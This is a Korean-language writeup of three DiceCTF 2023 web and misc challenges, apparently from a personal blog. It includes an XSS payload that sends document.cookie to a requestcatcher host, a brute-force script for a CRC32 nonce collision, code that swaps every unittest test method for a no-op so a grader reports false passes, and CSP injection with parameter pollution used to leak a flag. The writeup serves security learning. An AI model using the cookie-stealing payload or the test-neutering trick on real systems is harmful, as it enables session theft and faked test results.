[DiceCTF] Writeup

9 ๋ถ„ ์†Œ์š”

๐Ÿ’ก DiceCTF 2023 Writeup ์ž…๋‹ˆ๋‹ค.

recursive-csp

image

<?php
  if (isset($_GET["source"])) highlight_file(__FILE__) && die();

  $name = "world";
  if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
    $name = $_GET["name"];
  }

  $nonce = hash("crc32b", $name);
  header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>

์‚ฌ์šฉ์ž์˜ ์ž…๋ ฅ๊ฐ’์ด ํ™”๋ฉด์— ๊ทธ๋Œ€๋กœ ๋‚˜์˜ค๋ฉฐ, ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰์„ ์œ„ํ•ด์„œ CSP ๊ฐ’์„ ํ™•์ธํ•ด๋ณด๋ฉด ์œ„์˜ php์™€ ๊ฐ™์ด ์ฒ˜๋ฆฌํ•œ๋‹ค.

  $nonce = hash("crc32b", $name); # ์‚ฌ์šฉ์ž์˜ input ๊ฐ’์„ crc32ํ•ด์‹œ ์ฒ˜๋ฆฌ
  header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';"); # ํ•ด์‹œ ๊ฐ’์„ nonce์˜ ๊ฐ’์œผ๋กœ ์ด์šฉํ•œ๋‹ค.

nonce๊ฐ’์„ ๋งž์ถœ ์ˆ˜ ์žˆ๋‹ค๋ฉด ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

๋ฌธ์ œ์˜ ์ œ๋ชฉ์ด recursive์ธ ์ด์œ ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋ฐ”๊พธ๋ฉด ๊ณ„์† recursiveํ•˜๊ฒŒ nonce๊ฐ’์ด ๋ณ€๊ฒฝ๋˜๊ธฐ ๋•Œ๋ฌธ.

๋งŒ์•ฝ ๊ณต๊ฒฉ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‹คํ–‰ํ•œ๋‹ค๊ณ  ํ•˜์ž.

<script nonce="123">
location.href="https://myoungseok.requestcatcher.com/"+document.cookie;
</script>

์œ„์˜ ์Šคํฌ๋ฆฝํŠธ์˜ crc32 ์‹คํ–‰๊ฐ’์€ cb677c7e์ด๋‹ค. ์ฆ‰ nonce=โ€123โ€์ด ํ‹€๋ ธ๊ธฐ ๋•Œ๋ฌธ์— ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰์ด ์•ˆ๋œ๋‹ค. ๊ทธ๋ž˜์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์ด nonce๋ฅผ ๋ฐ”๊พธ๋ฉด

<script nonce="cb677c7e">
location.href="https://myoungseok.requestcatcher.com/"+document.cookie;
</script>

๋˜๋‹ค์‹œ nonce๊ฐ’์ด ๋ฐ”๋€Œ์—ˆ๊ธฐ ๋•Œ๋ฌธ์— ์ „์ฒด crc32์˜ ๊ฐ’์ด 44519347๋กœ ๋ฐ”๋€Œ์–ด ๋ฒ„๋ฆฐ๋‹ค. ์ด๋Ÿฐ์‹์œผ๋กœ ๋Š์ž„์—†์ด nonce๋ฅผ ๋ฐ”๊พธ๋ฉด ๋‹ค์‹œ crc32๊ฐ’์ด ๋ฐ”๋€Œ๊ณ  ๋ฃจํ”„์— ๋น ์ง€๊ฒŒ ๋œ๋‹ค.

ํ•˜์ง€๋งŒ crc32์˜ ์ „์ฒด ๊ฐ’์€ 32bit ์ด๋ฏ€๋กœ ์ถฉ๋Œ์„ ์œ ๋„ํ•ด ๋ณผ๋งŒ ํ•˜๋‹ค. ์ฆ‰ ์–ด๋–ค nonce ๊ฐ’์— ๋Œ€ํ•ด์„œ๋Š”

<script nonce="xxxxxxxx">
location.href="https://myoungseok.requestcatcher.com/"+document.cookie;
</script>

์˜ crc32 ์‹คํ–‰๊ฒฐ๊ณผ๊ฐ€ nonce๊ฐ’๊ณผ ๋™์ผํ•œ xxxxxxxx๊ฐ€ ๋‚˜์˜ฌ ์ˆ˜ ๋„ ์žˆ๋‹ค. ์ด ๊ฐ’์„ brute force๋กœ ์ฐพ๊ฒŒ ๋œ๋‹ค๋ฉด script๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ๋œ๋‹ค.

์‹คํ–‰์— ์‚ฌ์šฉํ•œ ์ฝ”๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

1์Šค๋ ˆ๋“œ๋กœ ๋Œ๋ ธ๋”๋‹ˆ ์‹œ๊ฐ„์ด ๋„ˆ๋ฌด ์˜ค๋ž˜๊ฑธ๋ ค์„œ 16์Šค๋ ˆ๋“œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋น ๋ฅธ ์‹œ๊ฐ„์•ˆ์— ์ถฉ๋Œ๊ฐ’์„ ์ฐพ์•„๋‚ผ ์ˆ˜ ์žˆ์—ˆ๋‹ค.

import zlib
from multiprocessing import Pool

NUM_PROCESSES = 16


def get_crc32(data):
    return format(zlib.crc32(data.encode()), 'x')

def decimal_to_hex(decimal):
    return hex(decimal).split('x')[-1]

def work(idx):
    for nonce in range((0xffffffff//NUM_PROCESSES) *(idx),(0xffffffff//NUM_PROCESSES) *(idx+1)):
        script = f'''<script nonce="{decimal_to_hex(nonce)}">location.href="https://myoungseok.requestcatcher.com/"+document.cookie;</script>''' 
        tmp = get_crc32(script)
        if decimal_to_hex(nonce) == tmp:
            print(decimal_to_hex(nonce))
            break

if __name__ == '__main__':
    with Pool(NUM_PROCESSES) as p:
        p.map(work,[ x for x in range(NUM_PROCESSES)])

image

์ถฉ๋Œ์Œ์„ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค.

scorescope

๋ฌธ์ œ์—์„œ ์ฃผ์–ด์ง„ ํ…œํ”Œ๋ฆฟ ํŒŒ์ผ์˜ ๊ธฐ๋Šฅ์„ ๊ตฌํ˜„์„ ์š”๊ตฌํ•œ๋‹ค. ๋”ํ•˜๊ธฐ ํ•จ์ˆ˜๋ฅผ return a+b์™€ ๊ฐ™์ด ์ž‘์„ฑํ•˜์—ฌ ํŒŒ์ผ์„ ์ œ์ถœํ•˜๋ฉด

image

์•„๋ž˜์™€ ๊ฐ™์ด test_add ํ…Œ์ŠคํŠธ๋“ค์„ ํ†ต๊ณผํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

image

ํ•˜์ง€๋งŒ ์ด ๋ฌธ์ œ๋Š” ๋’ค์˜ ๋ฌธ์ œ๋“ค์€ ๊ธฐ๋Šฅ์˜ ๊ตฌํ˜„์ด ๋ถˆ๊ฐ€๋Šฅํ•œ ๋ฌธ์ œ๋“ค์ด ์ œ์‹œ๋œ๋‹ค. factor()์˜ ๊ฒฝ์šฐ ์†Œ์ธ์ˆ˜ ๋ถ„ํ•ด๋ฅผ ์š”๊ตฌํ•˜๋Š” ๋ฌธ์ œ์ด๊ณ (n์ด ํฌ๋‹ค๋ฉด ์‹œ๊ฐ„์•ˆ์— ๋๋‚˜์ง€ ์•Š์Œ), preimage()ํ•จ์ˆ˜๋Š” ์ฃผ์–ด์ง„ ํ•ด์‹œ๊ฐ’์˜ ๋ณธ๋ž˜์ˆ˜๋ฅผ ๊ตฌํ•˜๋Š” ํ•จ์ˆ˜์ด๋‹ค(๋ถˆ๊ฐ€๋Šฅ). ๊ทธ๋ž˜์„œ ์ด ๋ฌธ์ œ๋Š” ์–ด๋–ป๊ฒŒ๋“  ์ด๋ฅผ ์šฐํšŒํ•˜์—ฌ ์ „์ฒด 22๊ฐœ์˜ test case๋ฅผ ํ†ต๊ณผํ•˜๋Š” ๋ฌธ์ œ์ด๋‹ค.

๋ณธ ๋ฌธ์ œ์—์„œ ํ™œ์šฉํ•˜๋Š” ๊ฐœ๋…์€ __import__('__main__')์„ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด, ํ•˜์œ„ ํ•จ์ˆ˜๋ฅผ ๋ณ€์กฐํ•˜๋Š”๊ฒƒ์ด ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ๊ฒƒ์„ ์ด์šฉํ•œ ๋ฌธ์ œ์ด๋‹ค.

์šฐ์„  ๊ธฐ๋ณธ์ ์œผ๋กœ ๋จผ์ € ์ ‘๊ทผํ•œ ๋ฐฉ๋ฒ•์—์„œ ์‹œ์Šคํ…œ ํ•จ์ˆ˜์˜ ์‹คํ–‰์ด๋‚˜, ๋‹ค๋ฅธ ๋ชจ๋“ˆ์˜ import๋ฅผ ์‹œ๋„ํ•ด๋ดค์ง€๋งŒ ์ด ๋ฐฉ๋ฒ•์€ ๋ง‰ํ˜€์žˆ์–ด์„œ ์‹œ๋„ํ•œ ๋ฐฉ๋ฒ•์ด๋‹ค. ํ•ด๋‹น ๋ฐฉ๋ฒ•์„ ์‹œ๋„ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ง‰ํžŒ๋‹ค.

image

๋จผ์ € ๋‹ค์Œ๊ณผ ๊ฐ™์ด add()ํ•จ์ˆ˜์— raise Exception์„ ํ†ตํ•ด์„œ ์›ํ•˜๋Š” ์ถœ๋ ฅ ๊ฒฐ๊ณผ๋ฅผ ํ™•์ธ ํ•  ์ˆ˜์žˆ๋‹ค.

image

image

['SilentResult', 'SubmissionImporter', 'TestCase', 'TestLoader', 'TextTestRunner', '__annotations__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'current', 'f', 'json', 'stack', 'stderr', 'stdout', 'submission', 'suite', 'sys', 'test', 'tests']

ํ•ด๋‹น ํด๋ž˜์Šค์™€, ํ•จ์ˆ˜๋“ค์„ ๋ช‡๊ฐœ ๋ถ„์„์„ ํ•ด๋ณด๋ฉด, suite, test, tests ํ•จ์ˆ˜๋“ค์ด ์ค‘์š”ํ•˜๊ฒŒ ๋ณด์ธ๋‹ค.

main.suite๋ฅผ ์ถœ๋ ฅ์„ ํ•ด๋ณด๋ฉด

image

unittest.suite.TestSuite ํด๋ž˜์Šค์˜ ๊ฐ์ฒด์ž„์ด ๋ณด์ด๋ฉฐ, ํŒŒ์ด์ฌ์˜ unittest ํ”„๋ ˆ์ž„์›Œํฌ๋ฅผ ํ™œ์šฉํ•˜์—ฌ ์‚ฌ์šฉ์ž๊ฐ€ ์ œ์‹œํ•œ ํ•จ์ˆ˜์˜ ์ž‘๋™ ์œ ๋ฌด๋ฅผ ํŒ๋‹จํ•˜๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

Exception: [
    <unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[None, None, <test_1_add.TestAdd testMethod=test_add_positive>]>, <unittest.suite.TestSuite tests=[]>]>, 
    <unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>, <unittest.suite.TestSuite tests=[<test_2_longest.TestLongest testMethod=test_longest_empty>, <test_2_longest.TestLongest testMethod=test_longest_multiple>, <test_2_longest.TestLongest testMethod=test_longest_multiple_tie>, <test_2_longest.TestLongest testMethod=test_longest_single>]>]>, 
    <unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>, <unittest.suite.TestSuite tests=[<test_3_common.TestCommon testMethod=test_common_consecutive>, <test_3_common.TestCommon testMethod=test_common_empty>, <test_3_common.TestCommon testMethod=test_common_many>, <test_3_common.TestCommon testMethod=test_common_nonconsecutive>, <test_3_common.TestCommon testMethod=test_common_single>]>]>,
    <unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>, <unittest.suite.TestSuite tests=[<test_4_favorite.TestFavorite testMethod=test_favorite>]>]>,
    <unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>, <unittest.suite.TestSuite tests=[<test_5_factor.TestFactor testMethod=test_factor_bigger>, <test_5_factor.TestFactor testMethod=test_factor_large>, <test_5_factor.TestFactor testMethod=test_factor_small>]>]>,
    <unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>, <unittest.suite.TestSuite tests=[<test_6_preimage.TestPreimage testMethod=test_preimage_a>, <test_6_preimage.TestPreimage testMethod=test_preimage_b>]>]>, 
    <unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>, <unittest.suite.TestSuite tests=[<test_7_magic.TestMagic testMethod=test_magic_a>, <test_7_magic.TestMagic testMethod=test_magic_b>, <test_7_magic.TestMagic testMethod=test_magic_c>]>]>,
    <unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[<test_8_hidden.TestHidden testMethod=test_hidden>]>]>
    ]

์œ„์™€ ๊ฐ™์€ ๊ตฌ์กฐ๋กœ TestSuite๋“ค์ด ๊ตฌ์„ฑ๋˜์–ด ์žˆ์œผ๋ฉฐ, ๊ฐ๊ฐ์˜ ํ…Œ์ŠคํŠธ ํ•จ์ˆ˜๋Š” testMethod=func ๊ฐ™์€ ๊ตฌ์กฐ๋กœ ์ œ์‹œ๋จ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋ชจ๋“  ๊ตฌ์กฐ์˜ TestSuite์—์„œ testMethod๋ฅผ ์›ํ•˜๋Š” ์ž„์˜์˜ ํ•จ์ˆ˜๋กœ ๋ฐ”๊พผ๋‹ค๋ฉด ํ…Œ์ŠคํŠธ ํ†ต๊ณผ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค.

ํ’€์ด ์ฝ”๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค. ์ฝ”๋“œ๋Š” ์œ ํŠœ๋ธŒ์— ์˜ฌ๋ผ์˜จ writeup ์ฝ”๋“œ์ด๋‹ค.

def nop():
    return

def add(a, b):
    main = __import__('__main__')
    
    def nop_tests(suite):
        if suite == None:
            return

        if "_testMethodName" in suite.__dict__:
            suite.__dict__[suite.__dict__['_testMethodName']] = nop
            return

        for a in suite:
            nop_tests(a)

    nop_tests(main.suite)

    return a+b

image

codebox

์ฃผ์š” ๊ฐœ๋…๋“ค์„ ๋จผ์ € ์ •๋ฆฌํ•œ๋‹ค.

const code = new URL(window.location.href).searchParams.get('code');
if (code) {
    const frame = document.createElement('iframe');
    frame.srcdoc = code;
    frame.sandbox = '';
    frame.width = '100%';
    document.getElementById('content').appendChild(frame);
    document.getElementById('code').value = code; 
}

const flag = localStorage.getItem('flag') ?? "flag{test_flag}";
document.getElementById('flag').innerHTML = `<h1>${flag}</h1>`;

์œ„์˜ ์ฝ”๋“œ๋Š” client script ์ฝ”๋“œ์ด๋ฉฐ, ์ƒˆ๋กœ์šด iframe์„ ๋งŒ๋“ค๊ณ  ์‚ฌ์šฉ์ž ์ž…๋ ฅ๊ฐ’(code)๋ฅผ srcdoc์— ์ž…๋ ฅํ•˜์—ฌ iframe์„ ์ƒ์„ฑํ•œ๋‹ค. ์ด ๋ถ€๋ถ„์—์„œ ์ฃผ์š”ํ•œ ๋ถ€๋ถ„์€ sandbox ๋ถ€๋ถ„์ด๋‹ค.

๐Ÿ’ก iframe sandbox๋Š” iframe์„ ์ƒŒ๋“œ๋ฐ•์Šคํ™”(๊ณ ๋ฆฝ) ์‹œํ‚ค๋Š” ๊ธฐ์ˆ ๋กœ์จ, sandbox ์˜ต์…˜์„ ์ฃผ๊ณ  ์•„๋ฌด๋Ÿฐ ๊ฐ’์„ ์ฃผ์ง€ ์•Š์œผ๋ฉด ํ—ˆ์šฉ์ •์ฑ…์„ ํ•˜๋‚˜๋„ ์ฃผ์ง€ ์•Š์€ ์ƒํƒœ๋กœ ์›ํ•˜๋Š” ๊ธฐ๋Šฅ ๋Œ€๋ถ€๋ถ„์ด ์‹คํ–‰๋˜์ง€ ์•Š๋Š”๋‹ค. ์ฃผ์š” ์ •์ฑ…์œผ๋กœ๋Š” โ€˜allow-scriptsโ€™, โ€˜allow-same-originโ€™๋“ฑ์ด ์žˆ์œผ๋ฉฐ ์ด๋Ÿฌํ•œ ์ •์ฑ…์ด ์ฃผ์–ด์ง€์ง€ ์•Š์•„์„œ ๊ณต๊ฒฉ์ง€์ ์œผ๋กœ ์žก๊ธฐ์—๋Š” ๋‚œ์ด๋„๊ฐ€ ๋„ˆ๋ฌด ๋†’๋‹ค(๊ฑฐ์˜ ๋ถˆ๊ฐ€๋Šฅํ•ด ๋ณด์ž„)

fastify.get('/', (req, res) => {
    const code = req.query.code;
    const images = [];

    if (code) {
        const parsed = HTMLParser.parse(code);
        for (let img of parsed.getElementsByTagName('img')) {
            let src = img.getAttribute('src');
            if (src) {
                images.push(src);
            }
        }
    }

    const csp = [
        "default-src 'none'",
        "style-src 'unsafe-inline'",
        "script-src 'unsafe-inline'",
    ];

    if (images.length) {
        csp.push(`img-src ${images.join(' ')}`);
    }

    res.header('Content-Security-Policy', csp.join('; '));

    res.type('text/html');
    return res.send(box);
});

img ํƒœ๊ทธ์˜ src ์†์„ฑ์œผ๋กœ ์ž…๋ ฅ๋œ ๊ฐ’์„ ํŒŒ์‹ฑํ•˜์—ฌ csp ํ•ญ๋ชฉ์— ๊ทธ๋Œ€๋กœ ์ถ”๊ฐ€ํ•ด์ค€๋‹ค. ์ด๋ฅผ ์ด์šฉํ•ด์„œ csp์— ์›ํ•˜๋Š” directive๋“ค์„ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด๋ฒˆ ๋ฌธ์ œ์—์„œ ์‚ฌ์šฉํ•œ directive๋Š” report-uri (report-to) directive ์ด๋‹ค.

๐Ÿ’ก report-uri(ํ˜„์žฌ๋Š” report-to๋กœ ๋Œ€์ฒด๋จ)๋Š” ๋งŒ์•ฝ ํ•ด๋‹น ํŽ˜์ด์ง€์—์„œ csp ์ •์ฑ…์— ์˜ํ•ด์„œ ์ฐจ๋‹จ์ด ๋˜๋Š” ํ•ญ๋ชฉ์ด ์žˆ๋‹ค๋ฉด ํ•ด๋‹น directive์—์„œ ์ง€์ •ํ•œ ์ฃผ์†Œ๋กœ ์–ด๋– ํ•œ ์ •์ฑ…์— ์˜ํ•ด์„œ ์ฐจ๋‹จ๋˜์—ˆ๊ณ ,๋“ฑ๋“ฑ์˜ ๊ฒฐ๊ณผ๋ฅผ ๋ฆฌํฌํŒ… ํ•ด์ฃผ๋Š” ๊ธฐ๋Šฅ์ด๋‹ค.


๋ฌธ์ œ์—์„œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‹คํ–‰๋˜์ง€ ์•Š๋Š”๋‹ค.

image

์ฝ˜์†”์— ์ถœ๋ ฅ๋œ ์—๋Ÿฌ ๋กœ๊ทธ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

Blocked script execution in 'about:srcdoc' because the document's frame is sandboxed and the 'allow-scripts' permission is not set.

iframe์ด ์ƒŒ๋“œ๋ฐ•์Šค ์˜ต์…˜์ด ์ฃผ์–ด์ ธ์žˆ๊ณ , โ€˜allow-scriptsโ€™ ์˜ต์…˜์ด ์ฃผ์–ด์ ธ ์žˆ์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— iframe ์•ˆ์—์„œ๋Š” script ์‹คํ–‰์ด ๋ถˆ๊ฐ€๋Šฅ ํ•˜๋‹ค๋Š” ์˜๋ฏธ์ด๋‹ค. ์‹ค์ œ ctf๋ฅผ ํ• ๋•Œ๋Š” ์ด๋ฅผ ์šฐํšŒํ•ด์„œ ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰์ด ๊ฐ€๋Šฅํ•˜๋„๋ก ํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ์กด์žฌํ•˜๋Š”์ง€ ์ฐพ๊ธฐ ์œ„ํ•ด ๋…ธ๋ ฅํ–ˆ๋Š”๋ฐ, ๋๋‚˜๊ณ  ๋‚˜์„œ ๋ณด๋‹ˆ ์ด๋Š” ๊ฑฐ์˜ ๋ถˆ๊ฐ€๋Šฅํ•œ ๋ฐฉ๋ฒ•์ธ๊ฑฐ ๊ฐ™๋‹ค.

์ด๋ฅผ ์šฐํšŒํ•˜๋Š” ๋ฐฉ๋ฒ•์œผ๋กœ ๋ณธ ๋ฌธ์ œ์—์„œ ์‚ฌ์šฉ๋œ ๊ธฐ๋ฒ•์€ report-uri csp ์ง€์‹œ์ž ์ด๋‹ค. ํ˜„์žฌ csp ๊ฐ’์„ ๋ณ€์กฐ ๊ฐ€๋Šฅํ•˜๊ธฐ ๋•Œ๋ฌธ์—, report-uri ๊ฐ’์„ ๋‚˜์˜ ์„œ๋ฒ„๋กœ ๋ฐ”๊พธ๊ณ  csp๋ฅผ ์œ„๋ฐ˜ํ•˜๋ฉด ์–ด๋–ป๊ฒŒ ์˜ค๋Š”์ง€ ํ™•์ธํ•ด ๋ณธ๋‹ค.

image

์œ„์™€๊ฐ™์ด ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๋ฉด, ๋‹ค์Œ๊ณผ ๊ฐ™์ด csp๊ฐ’์ด ๋ณ€์กฐ๋˜์–ด report-uri ๊ฐ’์ด ์‚ฝ์ž…๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๊ณ 

image

report-uri๋กœ ์ง€์ •ํ•œ ์ฃผ์†Œ๋กœ ๋‹ค์Œ๊ณผ ๊ฐ™์ด csp-report ํŒจํ‚ท์ด ์ „์†ก๋˜๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

image

๋‹ค์Œ๊ณผ ๊ฐ™์ด csp์œ„๋ฐ˜์ •๋ณด๊ฐ€ ์„œ๋ฒ„๋กœ ์ „์†ก๋œ๋‹ค.

{
  "document-uri": "about",
  "referrer": "",
  "violated-directive": "object-src",
  "effective-directive": "object-src",
  "original-policy": "default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'; img-src http://example.com; report-uri https://myoungseok.requestcatcher.com",
  "disposition": "enforce",
  "blocked-uri": "https://not-example.com",
  "status-code": 0,
  "script-sample": ""
}

์šฐ๋ฆฌ๋Š” flag์ •๋ณด๋ฅผ ์ฝ์–ด์•ผ ํ•œ๋‹ค. ๋‹ค์‹œ ํด๋ผ์ด์–ธํŠธ์—์„œ ์‹คํ–‰๋˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋ณธ๋‹ค.

const code = new URL(window.location.href).searchParams.get('code');
if (code) {
    const frame = document.createElement('iframe');
    frame.srcdoc = code;
    frame.sandbox = '';
    frame.width = '100%';
    document.getElementById('content').appendChild(frame);
    document.getElementById('code').value = code; 
}

const flag = localStorage.getItem('flag') ?? "flag{test_flag}";
document.getElementById('flag').innerHTML = `<h1>${flag}</h1>`;

๊ฐ€์žฅ ๋งˆ์ง€๋ง‰์— ๋‘์ค„์„ ๋ณด๋ฉด flag๋ณ€์ˆ˜์— flag ๊ฐ’์ด ๋‹ด๊ธฐ๊ณ , ์ด๋ฅผ innerHTML์— ๋„ฃ์Œ์œผ๋กœ์จ ํ”Œ๋ž˜๊ทธ๊ฐ€ ์ถœ๋ ฅ๋œ๋‹ค. ๊ทธ๋ ‡๋‹ค๋ฉด ๊ฐ€์žฅ ๋งˆ์ง€๋ง‰์ค„ innerHTML์ค„์—์„œ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜์—ฌ report-uri ๊ฐ€ ์ „์†ก๋œ๋‹ค๋ฉด flag๊ฐ€ ํ‰๋ฌธ๊ฐ’์œผ๋กœ ์„œ๋ฒ„์— ์ „์†ก๋  ๊ฒƒ์ด๋‹ค.

๋งˆ์ง€๋ง‰ ์ค„์„ csp ์ง€์‹œ์ž๋ฅผ ์œ„๋ฐ˜ํ•˜๋„๋ก ์„ค์ •ํ•˜๊ธฐ ์œ„ํ•ด์„œ csp ์ง€์‹œ์ž์ค‘ require-trusted-types-for์ด๋ผ๋Š” ์ง€์‹œ์ž๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค.

๐Ÿ’ก require-trusted-types-for csp ์ง€์‹œ์ž๋ž€, injection sinks(ex. Element.innerHTML, Location.hrefs โ€ฆ. ๋“ฑ 60์—ฌ๊ฐ€์ง€) ๋ถ€๋ถ„์— ๋“ค์–ด๊ฐ€๋Š” ๋ฌธ์ž์—ด๋“ค์„ ๊ฒ€์ฆ๋œ ํƒ€์ž…์ธ์ง€(trusted types) ๊ฒ€์ฆํ•ด์•ผ๋งŒ ๋“ค์–ด๊ฐˆ ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋Š” ๊ฐ•๋ ฅํ•œ xss ๋ฐฉ์–ด ์ •์ฑ…์ด๋‹ค.

์ด๋ฅผ ์ด์šฉํ•ด์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ž‘์„ฑํ•˜์—ฌ, ์‹คํ–‰ํ•œ๋‹ค.

image

์˜ˆ์ƒ๊ณผ ๊ฐ™์ด csp๊ฐ€ ๋ณ€์กฐ๋˜์—ˆ๋‹ค.

image

๋˜ํ•œ ์ฝ˜์†”์— ๋‚˜์˜จ ๋กœ๊ทธ๋ฅผ ๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด TrustedHTML ์ง€์‹œ์ž ์œ„๋ฐ˜๋กœ๊ทธ๊ฐ€ ๋ฐœ์ƒํ•œ ๊ฒƒ์„ ํ™•์ธ ํ•  ์ˆ˜ ์žˆ๋‹ค.

image

๋ฐœ์ƒ์ง€์ ์„ ํ™•์ธํ•ด๋ณด์ž.

image

์šฐ๋ฆฌ๋Š” ๋งˆ์ง€๋ง‰์ค„์ธ 58๋ฒˆ์งธ์—์„œ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•ด์•ผ ํ•˜๋Š”๋ฐ, ๊ทธ ์ด์ „์— 50๋ฒˆ์งธ ์ค„์—์„œ๋„ Injection sinks ๋ถ€๋ถ„์ด ์กด์žฌํ•˜๊ธฐ ๋•Œ๋ฌธ์— ํ•ด๋‹น ์ง€์ ์—์„œ ๋จผ์ € ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•ด๋ฒ„๋ฆฐ๋‹ค.

if(code) ๋ถ€๋ถ„์ด ์‹คํ–‰๋˜์ง€ ์•Š๋„๋ก ํ•˜๋ฉด ์šฐํšŒ๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ค.

์ด๋ฅผ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด์„œ HPP(Http Parameter Pollution) ๊ธฐ๋ฒ•์„ ํ™œ์šฉํ•œ๋‹ค.

๐Ÿ’ก HPP๋Š” ๋™์ผํ•œ ๋งค๊ฐœ๋ณ€์ˆ˜์˜ ์ด๋ฆ„์œผ๋กœ ์„œ๋ฒ„์— ์š”์ฒญ์„ ๋ณด๋‚ผ๋•Œ ์ด๋ฅผ ๋‹ค๋ฅด๊ฒŒ ์ฒ˜๋ฆฌํ•˜๋Š” ๋กœ์ง์„ ์ด์šฉํ•˜์—ฌ ๊ฒ€์ฆ๋กœ์ง์„ ์šฐํšŒํ•˜๋Š” ๊ธฐ๋ฒ•์ด๋‹ค. ํ˜„์žฌ ์šฐ๋ฆฌ๋Š” ํด๋ผ์ด์–ธํŠธ์˜ javascript ์ฝ”๋“œ์™€ ์„œ๋ฒ„์˜ fastify์—์„œ ๋งค๊ฐœ๋ณ€์ˆ˜ ์ฒ˜๋ฆฌํ•˜๋Š” ๋ฐฉ๋ฒ„๋น™ ๋‹ค๋ฅธ๊ฒƒ์„ ์ด์šฉํ•˜์—ฌ ์šฐํšŒ๋ฅผ ์‹œ๋„ํ•œ๋‹ค.

๋งŒ์•ฝ ์‚ฌ์šฉ์ž๊ฐ€ /?code=&code=123 ์ด๋ผ๊ณ  ์ „์†ก์„ ํ–ˆ์„๋•Œ, ์„œ๋ฒ„์™€ ์‚ฌ์šฉ์ž์˜ ์ฒ˜๋ฆฌ๊ฒฐ๊ณผ๋ฅผ ํ™•์ธํ•œ๋‹ค.

  • Server
const code = req.query.code; // code=123
const images = [];
  • Client
const code = new URL(window.location.href).searchParams.get('code'); // code=''

์ฆ‰ Client์—์„œ์˜ code๋Š” ์ฒซ ๋ฒˆ์งธ ๋งค๊ฐœ๋ณ€์ˆ˜์˜ ๊ฐ’(๊ณต๋ฐฑ)์ด ๋˜๊ณ , ์„œ๋ฒ„์—์„œ Code๋Š” ๋‘ ๋ฒˆ์งธ ๋งค๊ฐœ๋ณ€์ˆ˜์˜ ๊ฐ’(123)์ด ๋˜์–ด ์ฒ˜๋ฆฌ ๋กœ์ง์˜ ์šฐํšŒ๊ฐ€ ๊ฐ€๋Šฅํ•ด ์ง„๋‹ค.


์ตœ์ข…์ ์œผ๋กœ HPP ๊ธฐ๋ฒ•๊นŒ์ง€ ์ด์šฉํ•˜์—ฌ ์šฐ๋ฆฌ๊ฐ€ ์›ํ•˜๋Š” ์ง€์ ์ธ 58๋ฒˆ์งธ ๋ผ์ธ์—์„œ CSP ์ง€์‹œ์ž ์œ„๋ฐ˜์„ ์œ ๋„ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

image

unfinished

